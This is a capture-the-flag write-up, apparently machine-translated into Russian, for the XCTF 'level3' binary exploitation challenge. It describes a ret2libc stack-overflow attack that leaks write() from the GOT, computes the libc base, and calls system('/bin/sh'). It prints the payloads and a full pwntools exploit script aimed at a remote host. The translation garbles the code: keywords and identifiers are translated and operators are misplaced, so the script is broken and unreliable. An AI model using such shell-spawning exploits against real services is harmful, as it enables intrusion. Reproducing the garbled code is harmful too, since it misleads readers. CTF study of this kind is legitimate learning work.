XCTF level3 пишут

 

 н.д. битой платформы номер порта, вероятно, как это.

С IDA Pro выглядят как в исходном файле.

 

 

 Глядя на момент переполнения.

 

 Очевидно, переполнение стека, но никакие системных функций и / бен / ш строка здесь не новая модель, функция получила утечку адресной таблицы попасть в библиотеку, чтобы загрузить реальный адрес функции по компенсируя находку библиотечные функции, загружаемые с помощью затем выяснить реальные адреса других функций, включая функцию системы также включают / бен / ш строку

 

Ударные идеи:

относительный адрес Libc функции фиксируется, чтобы получить адрес системной функции, может быть вычислен путем смещения функции записи (). 1. Во - первых, написать функцию () для вычисления функции записи () реального адреса; 2. вычислить реальную систему адресов и «/ бен / ш» , используя относительное смещение.
В vulnerable_function (), первый вызов функции записи (), а затем вызвать функцию чтения (). После того , как функция записи () возвращает vulnerable_function (), то вызов функции чтения (), так что мы можем проводить вторичные атаки. - Первая атака , которую мы используем переполнение стека будет написать функцию () в реальном адресе утечки получила таблицу, а потом вычитать в LIBC смещения, вы можете получить LibC базового адрес. - вторая атака , чтобы повторно ввести основную функцию, снова через переполнение стека, а getshell с помощью системной функции.

размер ЬиЕ из 0х88.

 

 

Первая конфигурация полезной нагрузки с использованием следующей:
(. 1) полезной нагрузки = 'А' \ * 0x88 + Р32 (0xDEADBEEF) + Р32 (write_plt) + Р32 (main_addr) Р32 + Р32 (write_got) + Р32 (0xDEADBEEF)

Использование первой атаки, вы можете получить базовый адрес LIBC. Затем вторая атака, используется конфигурация полезной нагрузки:
payload0 = 'А' \ * 0x88 + Р32 (0xDEADBEEF) + Р32 (sys_addr) + Р32 (0xDEADBEEF) + Р32 (bin_sh_addr)

 

 0x15902b является «/ бен / ш» адрес LibC, вы можете использовать libcsearch быть приобретены, могут быть использованы строки -a -TX libc_32.so.6 | Grep «/ бен / ш» приобретается.

EXP:

1  из PWn импорта *
 2  
3  из LibcSearcher импорта *
 4  
5 Io = удаленный ( " 111.198.29.45 " , 37205 )
 6  
7 Эльф = ELF ( " ./level3 " )
 8  # 获取函数
9  
10 read_plt = elf.plt [ " чтения " ]
 11  
12 write_plt = elf.plt [ " писать " ]
 13  
14 write_got = elf.got [ " писать "]
 15  
16 main_addr elf.symbols = [ " основная " ]
 . 17  
18  # полученных данных 
. 19  
20  io.recv ()
 21  
22  # символ [88] ЕВР записи функции адрес функции записи возвращает адрес (возврат к основной функции) написать параметры функции один (1) написать функцию двух параметров (write_got адресов) функция записи параметров трис (написать 4 байта) 
23  
24 Полезная нагрузка = " " * 0x88
 25 26 Полезная нагрузка = Р32 + (0xDEADBEEF ) 
 27 28 Полезная нагрузка + = Р32 (write_plt )
 29 30 Полезная нагрузка + = Р32 (main_addr)
 31 32 Полезная нагрузка = Р32 + (. 1 
 
 
 
)
 33  
34 Полезная нагрузка + = Р32 (write_got)    
 35  
36 Полезная нагрузка = Р32 + (. 4 )
 37 [  
38  
39  
40  io.sendline (полезная нагрузка)
 41  
42  # приобретает адрес записи получили 
43  
44 write_leak = U32 (io.recv () [:. 4 ])
 45  
46  печати  " write_leak ==> " + гекс (write_leak)
 47  
48  # вычисляет Lib библиотеку , чтобы загрузить базовый адрес 
49  
50 Libc = LibcSearcher ( ' Запись ' , write_leak)
 51  
52= Write_leak libc_base - libc.dump ( ' Запись ' )    
 53  
54  печати  " libc_base ==> " + гекс (libc_base)
 55  
56  # вычислительная система - адрес 
57  
58 sys_addr + = libc_base libc.dump ( " система " )    
 59  
60  печати  " sys_addr ==> " + шестигранный (sys_addr)
 61  # вычисляет строку / bin / ш адреса. 0x15902b смещение команды: строки -a -TX libc_32.so.6 | Grep " / бен / ш" Get 
62  
63 bin_sh_addr + = libc_base libc.dump ( "" )
 64  
65  печати  " bin_sh_addr ==> " + гекс (bin_sh_addr)
 66  
67  
68  
69  io.recv ()
 70  
71  # строковое значение функции система возврата адресов [88] Система Система EBP параметры функции (bin_sh_addr) 
72  
73 payload2 = " " * + 0x88 Р32 (0xDEADBEEF )
 74 75 payload2 = Р32 + (sys_addr) + Р32 (0xDEADBEEF) + Р32 (bin_sh_addr)
 76 77 78 79 io.sendline (payload2) 
 
 
 

Привет упомянуть флаг.

 

рекомендация

отwww.cnblogs.com/mzstar/p/11716444.html